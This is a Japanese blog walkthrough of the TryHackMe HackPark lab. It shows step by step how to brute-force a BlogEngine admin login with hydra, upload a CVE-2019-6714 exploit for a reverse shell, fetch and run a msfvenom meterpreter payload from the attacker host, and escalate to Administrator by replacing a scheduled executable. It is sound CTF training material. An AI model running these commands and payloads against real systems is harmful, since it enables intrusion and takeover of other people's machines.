7
3

More than 1 year has passed since last update.

お題は不問!Qiita Engineer Festa 2023で記事投稿!

【TryHackMe】HackPark_日本語Walkthrough

Last updated at Posted at 2023-07-04

概要

Try Hack Me(以下、THM)のHackParkに関するwriteupです。
この記事ではルート特権昇格までの流れを記載しますが、ローカル特権昇格まではNoriaki Hayashiさんの以下のUdemy講座で学習しました。

【サイバーセキュリティ 実践】Boot2Root CTFチャレンジで学ぶハッキングの手口とローカル特権昇格

このページで説明しない探索などやっているので、詳しく手法など確認したい方はこちらの講座をおすすめします。

環境

OracleのVirtualBoxで構築したKali Linuxで実行しました。
こちらの環境構築方法はまた別途記事を書こうと思います。

Walkthrough

※数日に分けて記事を書いているのでターゲット端末のIPが変わっていることがよくあります。ご自身の環境に置き換えて読んでください。

1. kali linuxとターゲットマシンをつなぐ

  • 以下の流れでOpenVPN接続用のOVPNファイルをダウンロードする。
    image.png
    image.png
    image.png

  • ダウンロードしたファイルをお好きなディレクトリに配置する。

    mv <ダウンロードしたファイル>.ovpn <配置したいディレクトリ>
    
  • kaliでVPNの設定をする。
    kaliの右上にあるネットワークの設定からkaliのVPN接続を設定します。
    image.png
    image.png
    image.png
    THMからダウンロードしたOVPNファイルを選択する。
    image.png
    image.png

  • 再び右上のネットワーク設定からVPN Connectionを確認すると設定したVPNが追加されているはずです。クリックすると接続されます。
    image.png

  • 接続が成功していれば右上にVPNのIPが表示されます。TryHackMeのroom画面でも接続が確認できます。
    image.png
    image.png

2. ターゲットマシンを起動する。

HackParkのtask1の右上のボタンでマシンを起動します。
image.png

1分くらい待てば起動され、ターゲットのIPアドレスが表示されます。

3. nmapで稼働してるサービスを確認する。

namp -Pn -T4 -sV <ターゲットのIPアドレス>

image.png

80番ポートと3389番ポートが開いています。
とりあえず80番ポートをブラウザから確認しようと思います。

4. ブラウザでの確認

4.1 ブラウザでアクセス

ブラウザで開くとなんかいます。
image.png
映画で有名なあいつです。
Task 1の回答はこいつの名前です。
「ピエロ 映画」とか「IT ピエロ」とか画像検索とかで名前が出てくると思います。

右側のハンバーガーメニューからログイン画面に遷移することができます。
BlogEngineのログイン画面であることがわかります。
ホーム画面の下部にはDesigned by BlogEngineと書いてありますので、こちらでログインできれば、管理者としてページをいじれるのではないかと推測できます。
試しに、ユーザ:admin、パスワード:adminでログインしてみますが、Login failedと表示されます。
image.png

4.2 Burp Suiteによるログインリクエストの確認

Burp SuiteとはJavaで作られた、Webセキュリティ評価のためのツールです。ウェブアプリケーションだけでなくモバイルアプリケーションにも使われるようです。
今回はWEBサイトのログインリクエストをインターセプトし、中身を確認するために使います。
ちなみにTHMにもBurp Suiteに関するroomがあります。

Burp Suiteでリクエストをキャッチするために、FireFoxのFoxyProxyという拡張機能を利用します。

VPNをオフにしてFireFoxから以下のURLにアクセスし、「追加」を押します。

image.png
ブラウザのメニューの横にFoxyProxyが現れます。
image.png
オプションを押します。
image.png
左メニューのAddを押し、以下の内容でsaveを押してください。
image.png
もう一度ハンバーガーメニューの横のアイコンを押すとBurpが増えていますので、選択してください。
アイコンにBurpという文字が重なります。
image.png

Burp Suiteを立ち上げてProxyタブでInterceptをOnにします。
VPNを再びオンにして先ほどのログイン画面で試しにユーザ名、パスワードどちらもadminにしてログインボタンを押します。

するとBurp Suiteの画面は以下のように変化すると思います。
image.png
POSTメソッドでリクエストを送っていることがわかります。
このPOSTがTask 2の1つ目の答えになります。

他にもPOSTメソッドのメッセージボディも確認できます。

4.3 hydraによるブルートフォース攻撃

Task 2の続きを読むとhydraでパスワードをクラックするように書いてあります。
hydraは有名なパスワードクラックツールです。

THMにも使い方のroomがありますので確認してみてください。

POSTリクエストに関しては以下のフォーマットでクラックをかけることができます。

hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V
  • 今回は管理者で操作したいのでusernameにBlogengineの初期管理者ユーザのadminを入れます。

  • wordlistはクラックするパスワードのリストです。
    kaliにはrockyou.txtというよく使われるパスワードリストが入っています。
    場所を確認します。

    sudo updatedb
    locate rockyou.txt
    

    image.png
    gzで圧縮されていたりするのでその場合は解凍してください。

    sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
    sudo updatedb
    locate rockyou.txt
    

    rockyou.txtはCTFなどでとてもよく使います。

  • MACHINE_IPはターゲットのIPアドレスです。

  • 最後のダブルクォートの部分がややこしいですが、

    <フォームのURL>:<メッセージボディ>:F=<ログイン失敗時のメッセージ>
    

    です。
    フォームのURLはログインフォームのURLのうち、IPの後ろから?までの間の/Account/login.aspxです。
    メッセージボディのusernameを挿入する部分には^USER^、パスワードを挿入する部分には^PASS^を書いておく必要があります。
    今回はメッセージボディの中でadminが挿入されているUserName=の後が^USER^とPassword=のあとが^PASS^です。
    テキストエディタなどで編集してください。
    失敗時のメッセージは4.1でLogin failedであることを確認しています。

これを踏まえると今回のコマンドは

hydra -l admin -P /usr/share/wordlists/rockyou.txt <ターゲットのIP> http-post-form "/Account/login.aspx:__VIEWSTATE=w%2Bs3oi719rzgBAf8KPmekEn3mPuRdbKDsk1tweEU0JQ77BnTVcsHH1wIy%2FpBQh12FWaXSkeviU1n2Bx6iF0RWJnTz8dAryvuX22EAMCg1aSgSZ18m%2Bb8SBA%2Foh%2BjHjeqh92AMdZknPql%2FH2Df73gGNmUxW6COLCNEVuD%2Ba%2Bntr5%2FR4z4&__EVENTVALIDATION=lpdf2SBqn5dBJkwA1DSrXg%2BNgFR8Tab%2FjgiqyKKQpdtXQ2aWnN3uMhTZGeE7VXy6hfbk1uQJu%2BonPmqfEJCuB2tP4xa%2BzsDyjI20QBxw7nV8zVrEq2LmWnHpkNavqm1DUniD9NIuNolVUdFsZdnn7xg%2Bhod8KYonjTuwROX1DwPgRf9Y&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:F=Login failed" -V

となります。
実行してみるとずらずらといろいろ出てきますが、最後あたりでログインに成功したパスワードを確認することができます。
image.png
こちらがTask 2の2つ目の答えになります。

4.4 ログイン

BurpのInterceptをOFFにして、クラックしたパスワードでログインしてみます。
管理者画面にログインできました。
image.png
左メニューのABOUTでいろいろ情報を取れそうだし、CCONTENTでexploitコードを入れれたりしそうな感じがします。
ここまで来たらFoxyProxyもBurpからTurn Offにして大丈夫です。

5. exploitの実行

管理者画面に入れたのでexploitを仕掛けていきたいと思います。

5.1 BlogEngineのバージョン確認

exlpoitを仕掛けるにあたってBlogEngineのバージョンを確認したいと思います。
管理者画面のABOUTに書いてあります。
image.png
3.3.6.0ですね。こちらTask 3の1つ目の回答です。

5.2 exlopitコードの調査

バージョンがわかったので以下のサイトでexploitコードを検索してみます。

image.png
BlogEngine 3.3.6で検索すると検証済み(Vにチェック)のexploitコードは1件だけでした。
こちらを試してみたいと思います。
こちらのtitleをクリックすると詳細を確認できます。
CVEはCVE-2019-6714です。
こちらはtask 3の2つ目の答えになります。

以下のようなことが書いてあります。

Attack:
First, we set the TcpClient address and port within the method below to our attack host, who has a reverse tcp listener waiting for a connection.Next, we upload this file through the file manager. In the current (3.3.6) version of BlogEngine, this is done by editing a post and clicking on the icon that looks like an open file in the toolbar. Note that this file must be uploaded as PostView.ascx. Once uploaded, the file will be in the /App_Data/files directory off of the document root. The admin page that allows upload is:
http://10.10.10.10/admin/app/editor/editpost.cshtml
Finally, the vulnerability is triggered by accessing the base URL for the blog with a theme override specified like so:
http://10.10.10.10/?theme=../../App_Data/files

exploitコードをPostView.ascxという名前で保存して、ファイルマネージャでアップロードして、kali側で待ち状態作ったうえでアクセスしなさいと書いてある感じがします。

exploitコードはkaliに入っています。serchsploitというコマンドで確認することができます。

searchsploit blogengine 3.3.6

image.png
一番上のやつですね。

5.3 exploitコードのアップロード

上記をPostView.ascxという名前でコピーします。

locate aspx/webapps/46353.cs
cp <上記の結果> <保存したい場所>/PostView.ascx

image.png
接続先を攻撃端末にする必要がありそうなのでvimで中身を確認しつつ編集します。

vim PostView.ascx

image.png
51行目くらいのTCPクライアントのIPを自身のVPNのIPに書き換え保存します。

exploitコードのアップロードは以下を参考にします。

BlogEningeにログインしているブラウザでCONTENTから記事を選択します。
image.png
メニューバーの一番右のFile Managerを開き、UPLOADを選択します。
image.png
作成したPostView.ascxを選択するとアップロードされます。
image.png

5.4 リバースシェルの確立

exploitdbの指示に従いながらリバースシェルを確立します。
まずは、攻撃端末側で接続を待ち受けます。netcatを使います。

nc -nvlp 4445

ポートはexploitコードのTCPクライアントで指定した4445です。

その後、exoloitdbに記載してあった以下のURLにアクセスします。

http://10.10.10.10/?theme=../../App_Data/files

IPはターゲット端末のものにしてください。
アクセス後ターミナル側でwindowsのシェルにつながったことが確認できます。
whoamiで確認するとユーザが確認できます。(Task 3の3つ目の回答)
image.png
これでローカルの権限でリバースシェルを確立できました。

6. 安定したリバースシェルの確立

ここまでで立てたリバースシェルは不安定なので、安定した接続完了を作ります。
流れとしては

  1. msfvenomでペイロードを作成します。
  2. 確立したリバースシェルからペイロードをターゲットに送ります。
  3. msfconsoleを使って安定した接続環境を確立します。

6.1 msfvenomによるペイロードの作成

msfvenomはコマンドで簡単にペイロードが作成できるツールです。
以下のコマンドで作成できるペイロードを見れます。

msfvenom --list payloads

山ほど出てきますが、windowsでmsfconsoleで接続するということを考えると
image.png
これがいいのではないかと思います。

windows/meterpreter/reverse_tcp

以下のコマンドで作成できます。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻撃端末のIP> LPORT=4444 -f exe > reverse.exe

image.png

6.2 作成したペイロードをターゲット端末に転送する

攻撃端末からpythonでサーバーをたて、ターゲット端末でペイロードをダウンロードします。

  • 攻撃端末側

    python -m http.server 8000
    
  • ターゲット端末のリバースシェル
    こういう時は保存先にTempが選択されることが多い気がします。理由は後で調べます。

    cd C:Windows\Temp
    
    powershell -c "Invoke-WebRequest -Uri 'http://<攻撃端末のIP>:8000/reverse.exe' -OutFile 'C:\Windows\Temp\reverse_shell.exe'"
    

dirコマンドでshell.exeがダウンロードされていることを確認します。
image.png

6.3 msfconsoleで接続を確立する

msfconsoleはリバースシェル確立のためによく使われます。
msfvenomで作成したペイロードをmsfconsoleのexploit/multi/handlerで待ち受けるのはよくある形な気がします。
まずはmsfconsoleを立ち上げます。

  • 攻撃端末側で

    msfconsole
    

    msfconsoleが立ち上がったら

    msf6 > use exploit/multi/handler
    
    msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
    
    msf6 exploit(multi/handler) > set <攻撃端末のIP>
    
    msf6 exploit(multi/handler) > run
    

    image.png

    これでペイロードの実行待ち状態です。

  • ターゲット端末で

    .\shell.exe
    

すると、
image.png
安定した接続が確立されます。
sysinfoでOSが確認でき、こちらがTask 4の2つ目の答えになります。
image.png

7. ルート特権昇格

システムの管理者権限を得るために悪用できそうなサービスを探します。
winPEASというツールを利用します。
特権昇格のためのイケてるツールだよ!みたいなことが書いてありました。

ご自身のkaliの中にない場合はいったんVPNを切ってから別のターミナルを起動しinstallしてください。

sudo apt install peass

インストール後はVPNをつなぎなおし、winpeasの格納場所を確認しておいてください。

sudo find / -iname winpeas

ls -1 <格納先のPath>/*

image.png

いくつかの実行ファイルがあります。
何個か試してみましたが、今回はmeterpreterのsysinfoでx86であることもわかっているので、winPEASx86_ofs.exeがいい感じでした。
以下で実行してみます。
meterpreterでリバースシェルを確立していれば、アップロード自体は簡単です。

meterpreter > upload <確認した格納場所>/winPEASx86_ofs.exe

meterpreter > shell

c:\Windows\Temp>.\winPEASx86_ofs.exe

image.png

かなりいろいろ出てきますが、悪用できるサービスを探したいので、Service Informationに注目します。
image.png
WindowsSchedulerがなんか赤字でPermission: Everyoneとか書かれていて悪用できそうな感じがします。
これがTask 4の3つ目の回答になります。

このサービスの脆弱性を利用してexploitを仕掛けていきたいですが、exploit-dbで「WindowsScheduler」を検索しても出てきません。
上記の情報でSplinterwareのソフトウェアであることがわかるので、検索してみます。
image.png
出てきました。検証済みのほうを確認してみます。

Details
By default the Everyone group has the modify permission to System Schedule files as >shown below. With the service installed, a low privilege account is able to rename the >WService.exe file located in this same path and replace with a malicious file that >would connect back to an attacking computer giving system level privileges (nt >authority\system) due to the service running as Local System. While a low privilege >user is unable to restart the service through the application, the service is checked >periodically triggering the execution of the malicious file.

Proof of Concept

  1. Login as regular user where Splinterware System Scheduler Pro 5.12 and the service are installed
  2. Create malicious .exe with same name 'wservice.exe' that can connect back to attacking machine
  3. Download malicious .exe on victim machine, and setup listener on attacking machine
  4. Rename original wservice.exe file to wservice.bak, and copy malicious file to location of original
  5. wait short amount of time and check attacking machine listener
  6. connection back from victim machine successful, run whoami

wservice.exeを攻撃コードに置き換えて待ち構えたら管理者で接続できるよ的なことを言っているように見えます。
しかし、実際にwservice.exeを置き換えても一向にリバースシェルはつながりません。
そこでイベントログを確認します。
上記のexploit-dbからC:\Program Files (x86)\SystemSchedulerを確認すればよさそうです。
image.png
Eventsを見ればよさそうですね。
image.png
ログファイルがあったので中身を見てみると、Message.exeが定期的にAdministratorで実行されています。
これを書き換えればexploitコードを実行でき、Administrator権限でリバースシェルを繋げられそうです。
このMassage.exeはTask 4の4つ目の答えです。

書き換えは以下で実行できます。

  • Massage.exeをバックアップ

    c:\Program Files (x86)\SystemScheduler\Events>cd c:\Program Files (x86)\SystemScheduler
    c:\Program Files (x86)\SystemScheduler>move Message.exe Message.bak
    
    
  • リバースシェル確立のためのexploitコード(ローカル権限とるときにmsfvenomで作ったやつ)をMessage.exeとして保存

    c:\Program Files (x86)\SystemScheduler>copy c:\Windows\Temp\shell.exe Message.exe
    
  • 別のターミナルを開いてmsfconsoleでリバースシェルの待ち受け

msfconsole

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST <攻撃端末のIP>

msf6 exploit(multi/handler) > run

image.png
image.png
少し待っているとリバースシェルがつながると思います。
getuidで確認するとAdministrator権限であることがわかります。

あとはmeterpreterでshellを打って、dirコマンドなどでフラグを探して、typeコマンドで表示してください。
フラグが確認できます。
image.png

以上でルート特権昇格まで完了となります。
長い記事に付き合っていただきありがとうございました。

最後の問題

Task 5の問題について、winPEAS使えって書いてありますが、上記でルートのシェルとれていれば以下のコマンドで表示できます。

c:\>systeminfo | findstr /i date

参考文献・サイト

7
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
3